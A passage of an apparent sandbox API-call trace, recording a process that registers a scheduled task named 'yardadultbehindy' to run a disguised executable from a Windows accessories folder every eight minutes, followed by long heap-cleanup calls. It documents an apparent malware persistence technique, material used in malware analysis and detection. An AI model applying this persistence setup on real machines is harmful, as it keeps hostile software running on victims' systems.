varVal2=0x0), password=0x27ce10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0161.563] TaskScheduler:IUnknown:AddRef (This=0x6a7b00) returned 0x2 [0161.563] TaskScheduler:ITaskService:GetFolder (in: This=0x6a7b00, Path=0x0, ppFolder=0x27cf28 | out: ppFolder=0x27cf28*=0x6a7d30) returned 0x0 [0161.567] TaskScheduler:ITaskService:NewTask (in: This=0x6a7b00, flags=0x0, ppDefinition=0x27cf20 | out: ppDefinition=0x27cf20*=0x6a7d80) returned 0x0 [0161.567] ITaskDefinition:get_Actions (in: This=0x6a7d80, ppActions=0x27cea0 | out: ppActions=0x27cea0*=0x6a7e40) returned 0x0 [0161.567] IActionCollection:Create (in: This=0x6a7e40, Type=0, ppAction=0x27cec0 | out: ppAction=0x27cec0*=0x6a6680) returned 0x0 [0161.567] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.567] lstrlenW (lpString="'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'") returned 67 [0161.568] lstrlenW (lpString=" ") returned 1 [0161.568] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0161.568] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0161.568] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0161.568] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0161.568] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0161.568] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0161.568] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0161.568] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0161.568] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0161.568] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0161.568] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0161.568] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0161.568] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0161.568] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0161.568] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0161.568] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0161.568] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0161.568] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0161.568] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0161.568] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0161.568] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0161.570] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0161.571] StrChrW (lpStart=" ", wMatch=0x4e) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x54) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x53) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0161.571] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0161.572] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0161.572] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0161.572] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0161.572] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0161.572] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0161.572] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0161.572] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0161.572] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0161.572] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0161.572] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0161.572] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0161.572] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0161.572] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0161.572] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0161.572] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0161.572] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0161.572] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0161.572] IUnknown:Release (This=0x6a6680) returned 0x1 [0161.572] IUnknown:Release (This=0x6a7e40) returned 0x1 [0161.572] ITaskDefinition:get_Triggers (in: This=0x6a7d80, ppTriggers=0x27ca20 | out: ppTriggers=0x27ca20*=0x6a63f0) returned 0x0 [0161.572] ITriggerCollection:Create (in: This=0x6a63f0, Type=1, ppTrigger=0x27ca18 | out: ppTrigger=0x27ca18*=0x6a66f0) returned 0x0 [0161.573] lstrlenW (lpString="8") returned 1 [0161.573] _vsnwprintf (in: _Buffer=0x27c9a0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x27c998 | out: _Buffer="PT8M") returned 4 [0161.573] ITrigger:get_Repetition (in: This=0x6a66f0, ppRepeat=0x27ca10 | out: ppRepeat=0x27ca10*=0x6a6780) returned 0x0 [0161.573] IRepetitionPattern:put_Interval (This=0x6a6780, Interval="PT8M") returned 0x0 [0161.573] IUnknown:Release (This=0x6a6780) returned 0x1 [0161.573] _vsnwprintf (in: _Buffer=0x27c960, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x27c938 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0161.573] ITrigger:put_StartBoundary (This=0x6a66f0, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0161.573] lstrlenW (lpString="") returned 0 [0161.573] lstrlenW (lpString="") returned 0 [0161.573] lstrlenW (lpString="") returned 0 [0161.574] lstrlenW (lpString="") returned 0 [0161.574] IUnknown:Release (This=0x6a66f0) returned 0x1 [0161.574] IUnknown:Release (This=0x6a63f0) returned 0x1 [0161.574] ITaskDefinition:get_Settings (in: This=0x6a7d80, ppSettings=0x27cec0 | out: ppSettings=0x27cec0*=0x6a6460) returned 0x0 [0161.574] lstrlenW (lpString="") returned 0 [0161.574] IUnknown:Release (This=0x6a6460) returned 0x1 [0161.574] GetLocalTime (in: lpSystemTime=0x27cd78 | out: lpSystemTime=0x27cd78*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x14, wMilliseconds=0x319)) [0161.574] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0161.575] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0161.575] GetUserNameW (in: lpBuffer=0x27cda0, pcbBuffer=0x27cd88 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x27cd88) returned 1 [0161.575] ITaskDefinition:get_RegistrationInfo (in: This=0x6a7d80, ppRegistrationInfo=0x27cd70 | out: ppRegistrationInfo=0x27cd70*=0x6a7ec0) returned 0x0 [0161.575] IRegistrationInfo:put_Author (This=0x6a7ec0, Author="") returned 0x0 [0161.576] _vsnwprintf (in: _Buffer=0x27cda0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x27cd38 | out: _Buffer="2022-08-06T02:19:20") returned 19 [0161.576] IRegistrationInfo:put_Date (This=0x6a7ec0, Date="") returned 0x0 [0161.576] IUnknown:Release (This=0x6a7ec0) returned 0x1 [0161.576] malloc (_Size=0x18) returned 0x6a7ce0 [0161.576] free (_Block=0x6a7ce0) [0161.576] lstrlenW (lpString="") returned 0 [0161.576] malloc (_Size=0x18) returned 0x6a7ce0 [0161.576] ITaskFolder:RegisterTaskDefinition (in: This=0x6a7d30, Path="yardadultbehindy", pDefinition=0x6a7d80, flags=6, UserId=0x27d010*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x27d050*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x27ef20, varVal2=0xfe), LogonType=3, sddl=0x27d030*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x27cf30 | out: ppTask=0x27cf30*=0x6a6920) returned 0x0 [0161.733] free (_Block=0x6a7ce0) [0161.733] _memicmp (_Buf1=0x40bae0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0161.733] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x40d2d0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0161.733] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0161.733] GetProcessHeap () returned 0x3f0000 [0161.733] GetProcessHeap () returned 0x3f0000 [0161.733] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d5d0) returned 1 [0161.733] GetProcessHeap () returned 0x3f0000 [0161.734] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d5d0) returned 0xc [0161.734] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d5d0 | out: hHeap=0x3f0000) returned 1 [0161.734] GetProcessHeap () returned 0x3f0000 [0161.734] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0xc, Size=0x82) returned 0x429c30 [0161.734] _vsnwprintf (in: _Buffer=0x27d670, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x27ced8 | out: _Buffer="SUCCESS: The scheduled task \"yardadultbehindy\" has successfully been created.\n") returned 78 [0161.734] _fileno (_File=0x7fefed02ab0) returned -2 [0161.734] _errno () returned 0x6a4bb0 [0161.734] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0161.734] SetLastError (dwErrCode=0x6) [0161.734] lstrlenW (lpString="SUCCESS: The scheduled task \"yardadultbehindy\" has successfully been created.\n") returned 78 [0161.734] GetConsoleOutputCP () returned 0x0 [0161.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"yardadultbehindy\" has successfully been created.\n", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0161.734] GetConsoleOutputCP () returned 0x0 [0161.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"yardadultbehindy\" has successfully been created.\n", cchWideChar=78, lpMultiByteStr=0xff491880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"yardadultbehindy\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 78 [0161.734] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 78 [0161.734] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0161.734] IUnknown:Release (This=0x6a6920) returned 0x0 [0161.735] TaskScheduler:IUnknown:Release (This=0x6a7d80) returned 0x0 [0161.735] TaskScheduler:IUnknown:Release (This=0x6a7d30) returned 0x0 [0161.735] TaskScheduler:IUnknown:Release (This=0x6a7b00) returned 0x1 [0161.735] lstrlenW (lpString="") returned 0 [0161.735] lstrlenW (lpString="8") returned 1 [0161.735] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="8", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0161.735] GetProcessHeap () returned 0x3f0000 [0161.735] GetProcessHeap () returned 0x3f0000 [0161.735] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c440) returned 1 [0161.735] GetProcessHeap () returned 0x3f0000 [0161.735] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c440) returned 0x1fc [0161.735] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c440 | out: hHeap=0x3f0000) returned 1 [0161.735] GetProcessHeap () returned 0x3f0000 [0161.735] GetProcessHeap () returned 0x3f0000 [0161.735] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c210) returned 1 [0161.736] GetProcessHeap () returned 0x3f0000 [0161.736] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c210) returned 0x4 [0161.736] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c210 | out: hHeap=0x3f0000) returned 1 [0161.736] GetProcessHeap () returned 0x3f0000 [0161.736] GetProcessHeap () returned 0x3f0000 [0161.736] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d530) returned 1 [0161.736] GetProcessHeap () returned 0x3f0000 [0161.736] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d530) returned 0x16 [0161.736] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d530 | out: hHeap=0x3f0000) returned 1 [0161.736] GetProcessHeap () returned 0x3f0000 [0161.736] GetProcessHeap () returned 0x3f0000 [0161.736] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d510) returned 1 [0161.736] GetProcessHeap () returned 0x3f0000 [0161.736] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d510) returned 0x18 [0161.736] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d510 | out: hHeap=0x3f0000) returned 1 [0161.736] GetProcessHeap () returned 0x3f0000 [0161.736] GetProcessHeap () returned 0x3f0000 [0161.736] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cdd0) returned 1 [0161.736] GetProcessHeap () returned 0x3f0000 [0161.736] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cdd0) returned 0x20 [0161.737] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cdd0 | out: hHeap=0x3f0000) returned 1 [0161.737] GetProcessHeap () returned 0x3f0000 [0161.737] GetProcessHeap () returned 0x3f0000 [0161.737] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c040) returned 1 [0161.737] GetProcessHeap () returned 0x3f0000 [0161.737] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c040) returned 0xa0 [0161.738] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c040 | out: hHeap=0x3f0000) returned 1 [0161.738] GetProcessHeap () returned 0x3f0000 [0161.738] GetProcessHeap () returned 0x3f0000 [0161.738] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bac0) returned 1 [0161.738] GetProcessHeap () returned 0x3f0000 [0161.738] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40bac0) returned 0x18 [0161.738] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bac0 | out: hHeap=0x3f0000) returned 1 [0161.738] GetProcessHeap () returned 0x3f0000 [0161.738] GetProcessHeap () returned 0x3f0000 [0161.738] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cb60) returned 1 [0161.738] GetProcessHeap () returned 0x3f0000 [0161.738] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cb60) returned 0x20 [0161.739] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cb60 | out: hHeap=0x3f0000) returned 1 [0161.739] GetProcessHeap () returned 0x3f0000 [0161.739] GetProcessHeap () returned 0x3f0000 [0161.739] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c2a0) returned 1 [0161.739] GetProcessHeap () returned 0x3f0000 [0161.739] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c2a0) returned 0x88 [0161.739] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c2a0 | out: hHeap=0x3f0000) returned 1 [0161.739] GetProcessHeap () returned 0x3f0000 [0161.739] GetProcessHeap () returned 0x3f0000 [0161.739] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d550) returned 1 [0161.739] GetProcessHeap () returned 0x3f0000 [0161.739] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d550) returned 0x18 [0161.739] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d550 | out: hHeap=0x3f0000) returned 1 [0161.740] GetProcessHeap () returned 0x3f0000 [0161.740] GetProcessHeap () returned 0x3f0000 [0161.740] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cb30) returned 1 [0161.740] GetProcessHeap () returned 0x3f0000 [0161.740] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cb30) returned 0x20 [0161.740] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cb30 | out: hHeap=0x3f0000) returned 1 [0161.740] GetProcessHeap () returned 0x3f0000 [0161.740] GetProcessHeap () returned 0x3f0000 [0161.740] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c3a0) returned 1 [0161.740] GetProcessHeap () returned 0x3f0000 [0161.740] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c3a0) returned 0x8a [0161.740] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c3a0 | out: hHeap=0x3f0000) returned 1 [0161.740] GetProcessHeap () returned 0x3f0000 [0161.740] GetProcessHeap () returned 0x3f0000 [0161.741] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c380) returned 1 [0161.741] GetProcessHeap () returned 0x3f0000 [0161.741] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c380) returned 0x18 [0161.741] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c380 | out: hHeap=0x3f0000) returned 1 [0161.741] GetProcessHeap () returned 0x3f0000 [0161.741] GetProcessHeap () returned 0x3f0000 [0161.741] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cb00) returned 1 [0161.741] GetProcessHeap () returned 0x3f0000 [0161.741] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40cb00) returned 0x20 [0161.741] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cb00 | out: hHeap=0x3f0000) returned 1 [0161.741] GetProcessHeap () returned 0x3f0000 [0161.741] GetProcessHeap () returned 0x3f0000 [0161.741] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c360) returned 1 [0161.741] GetProcessHeap () returned 0x3f0000 [0161.741] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c360) returned 0xe [0161.741] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c360 | out: hHeap=0x3f0000) returned 1 [0161.741] GetProcessHeap () returned 0x3f0000 [0161.741] GetProcessHeap () returned 0x3f0000 [0161.741] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c340) returned 1 [0161.741] GetProcessHeap () returned 0x3f0000 [0161.741] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c340) returned 0x18 [0161.742] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c340 | out: hHeap=0x3f0000) returned 1 [0161.742] GetProcessHeap () returned 0x3f0000 [0161.742] GetProcessHeap () returned 0x3f0000 [0161.742] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405da0) returned 1 [0161.742] GetProcessHeap () returned 0x3f0000 [0161.742] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405da0) returned 0x20 [0161.742] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405da0 | out: hHeap=0x3f0000) returned 1 [0161.742] GetProcessHeap () returned 0x3f0000 [0161.742] GetProcessHeap () returned 0x3f0000 [0161.742] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bc40) returned 1 [0161.742] GetProcessHeap () returned 0x3f0000 [0161.742] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40bc40) returned 0x208 [0161.743] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bc40 | out: hHeap=0x3f0000) returned 1 [0161.743] GetProcessHeap () returned 0x3f0000 [0161.743] GetProcessHeap () returned 0x3f0000 [0161.743] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40baa0) returned 1 [0161.743] GetProcessHeap () returned 0x3f0000 [0161.743] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40baa0) returned 0x18 [0161.743] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40baa0 | out: hHeap=0x3f0000) returned 1 [0161.743] GetProcessHeap () returned 0x3f0000 [0161.743] GetProcessHeap () returned 0x3f0000 [0161.743] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405cb0) returned 1 [0161.743] GetProcessHeap () returned 0x3f0000 [0161.743] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405cb0) returned 0x20 [0161.743] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405cb0 | out: hHeap=0x3f0000) returned 1 [0161.743] GetProcessHeap () returned 0x3f0000 [0161.743] GetProcessHeap () returned 0x3f0000 [0161.743] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d2d0) returned 1 [0161.743] GetProcessHeap () returned 0x3f0000 [0161.743] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40d2d0) returned 0x200 [0161.744] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40d2d0 | out: hHeap=0x3f0000) returned 1 [0161.744] GetProcessHeap () returned 0x3f0000 [0161.744] GetProcessHeap () returned 0x3f0000 [0161.744] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bae0) returned 1 [0161.744] GetProcessHeap () returned 0x3f0000 [0161.744] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40bae0) returned 0x18 [0161.744] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40bae0 | out: hHeap=0x3f0000) returned 1 [0161.744] GetProcessHeap () returned 0x3f0000 [0161.744] GetProcessHeap () returned 0x3f0000 [0161.744] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405c20) returned 1 [0161.744] GetProcessHeap () returned 0x3f0000 [0161.744] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405c20) returned 0x20 [0161.745] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405c20 | out: hHeap=0x3f0000) returned 1 [0161.745] GetProcessHeap () returned 0x3f0000 [0161.745] GetProcessHeap () returned 0x3f0000 [0161.745] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c250) returned 1 [0161.745] GetProcessHeap () returned 0x3f0000 [0161.745] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c250) returned 0x14 [0161.745] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c250 | out: hHeap=0x3f0000) returned 1 [0161.745] GetProcessHeap () returned 0x3f0000 [0161.745] GetProcessHeap () returned 0x3f0000 [0161.745] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c230) returned 1 [0161.745] GetProcessHeap () returned 0x3f0000 [0161.745] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c230) returned 0x18 [0161.745] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c230 | out: hHeap=0x3f0000) returned 1 [0161.745] GetProcessHeap () returned 0x3f0000 [0161.745] GetProcessHeap () returned 0x3f0000 [0161.745] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405b60) returned 1 [0161.745] GetProcessHeap () returned 0x3f0000 [0161.745] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405b60) returned 0x20 [0161.745] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405b60 | out: hHeap=0x3f0000) returned 1 [0161.745] GetProcessHeap () returned 0x3f0000 [0161.745] GetProcessHeap () returned 0x3f0000 [0161.746] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c270) returned 1 [0161.746] GetProcessHeap () returned 0x3f0000 [0161.746] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c270) returned 0x16 [0161.746] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c270 | out: hHeap=0x3f0000) returned 1 [0161.746] GetProcessHeap () returned 0x3f0000 [0161.746] GetProcessHeap () returned 0x3f0000 [0161.746] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c1f0) returned 1 [0161.746] GetProcessHeap () returned 0x3f0000 [0161.746] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40c1f0) returned 0x18 [0161.746] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40c1f0 | out: hHeap=0x3f0000) returned 1 [0161.746] GetProcessHeap () returned 0x3f0000 [0161.746] GetProcessHeap () returned 0x3f0000 [0161.746] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405b30) returned 1 [0161.746] GetProcessHeap () returned 0x3f0000 [0161.746] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405b30) returned 0x20 [0161.746] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405b30 | out: hHeap=0x3f0000) returned 1 [0161.746] GetProcessHeap () returned 0x3f0000 [0161.746] GetProcessHeap () returned 0x3f0000 [0161.746] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ba20) returned 1 [0161.746] GetProcessHeap () returned 0x3f0000 [0161.746] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x40ba20) returned 0x2 [0161.746] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ba20 | out: hHeap=0x3f0000) returned 1 [0161.746] GetProcessHeap () returned 0x3f0000 [0161.746] GetProcessHeap () returned 0x3f0000 [0161.746] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405980) returned 1 [0161.747] GetProcessHeap () returned 0x3f0000 [0161.747] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x405980) returned 0x20 [0161.747] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405980 | out: hHeap=0x3f0000) returned 1 [0161.747] GetProcessHeap () returned 0x3f0000 [0161.747] GetProcessHeap () returned 0x3f0000 [0161.747] HeapValidate (hHeap=0x3f0000, dwFlags=0x0, lpMem=0x4059b0) returned 1 [0161.747] GetProcessHeap () returned 0x3f0000 [0161.747] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x4059b0) returned 0x20 [0161.747] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x4059b0 | out: hHeap=0x3f0000) returned 1 [0161.747] GetProcessHeap 